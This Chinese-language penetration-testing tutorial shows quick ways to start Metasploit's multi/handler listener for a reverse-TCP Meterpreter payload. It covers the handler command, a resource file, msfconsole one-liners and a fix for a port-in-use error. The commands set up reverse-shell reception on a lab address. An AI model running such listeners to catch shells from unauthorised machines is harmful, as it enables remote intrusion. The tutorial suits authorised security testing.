我们在做安全测试时经常会用到Metasploit的exploit/multi/handler监听模块,每次都需要先用use命令进入到handler模块,然后输入payload、lhost、lport等参数,个人比较闲麻烦,所以找了两种快速执行监听的方法。也可以用setg和unsetg命令将常用参数设置为全局变量,如:setg lhost 192.168.1.120、setg lport 443等,这样我们就可以不用在不同模块中重复设置这些相同的参数了。

0x01 handler命令快速执行监听

handler命令参数:

  1. msf5 > handler -h
  2. Usage: handler [options]
  3. Spin up a Payload Handler as background job.
  4. OPTIONS:
  5. -H <opt> The RHOST/LHOST to configure the handler for //本地/远程IP地址
  6. -P <opt> The RPORT/LPORT to configure the handler for //本地/远程监听端口
  7. -e <opt> An Encoder to use for Payload Stage Encoding //设置有效载荷编码
  8. -h Help Banner //帮助
  9. -n <opt> The custom name to give the handler job //设置Job作业名称
  10. -p <opt> The payload to configure the handler for //设置监听有效载荷
  11. -x Shut the Handler down after a session is established //建立会话后终止Job
  12. msf5 > handler -H 192.168.1.120 -P 443 -p windows/x64/meterpreter/reverse_tcp -x

图片1.png
图1-1-26 handler命令执行监听

0x02 r、x或resource快速执行监听

我们先创建一个64TCP.rc文件,内容如下,然后用msfconsole -q -r命令执行64TCP.rc实现快速监听。

  1. use exploit/multi/handler
  2. set payload windows/x64/meterpreter/reverse_tcp
  3. set lhost 192.168.1.120
  4. set lport 443
  5. exploit

msfconsole命令参数:

  1. root@kali:~# msfconsole -h
  2. [...SNIP...]
  3. -q, --quiet Do not print the banner on startup //启动时不打印Banner
  4. -r, --resource FILE Execute the specified resource file //执行指定的资源文件
  5. -x, --execute-command COMMAND //执行指定的控制台命令
  6. [...SNIP...]
  7. root@kali:~# msfconsole -q -r 64TCP.rc
  8. root@kali:~# msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set lhost 192.168.1.120;set lport 443;exploit"

图片2.png
图1-1-27 msfconsole执行监听

0x03 Metasploit监听端口占用报错

监听时如果出现“The address is already in use or unavailable: (0.0.0.0:443).”报错则说明本地443监听端口已经被占用了,这时可以用kill命令结束当前443监听端口的对应进程即可。出现这种监听报错的常见情况,1、监听端口被其他程序所占用,2、多个命令终端同时监听一个端口,3、使用了exploit -j参数,可用-k或-K参数结束掉Job!!!如图1-1-28、1-1-29、1-1-30。

  1. msf exploit(multi/handler) > exploit
  2. [-] Handler failed to bind to 192.168.1.120:443:- -
  3. [-] Handler failed to bind to 0.0.0.0:443:- -
  4. [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:443).
  5. [*] Exploit completed, but no session was created.

图片3.png
图1-1-28 MSF监听端口被占用
图片4.png
图1-1-29 结束占用端口的程序
图片5.png
图1-1-30 成功监听并获取会话


public.png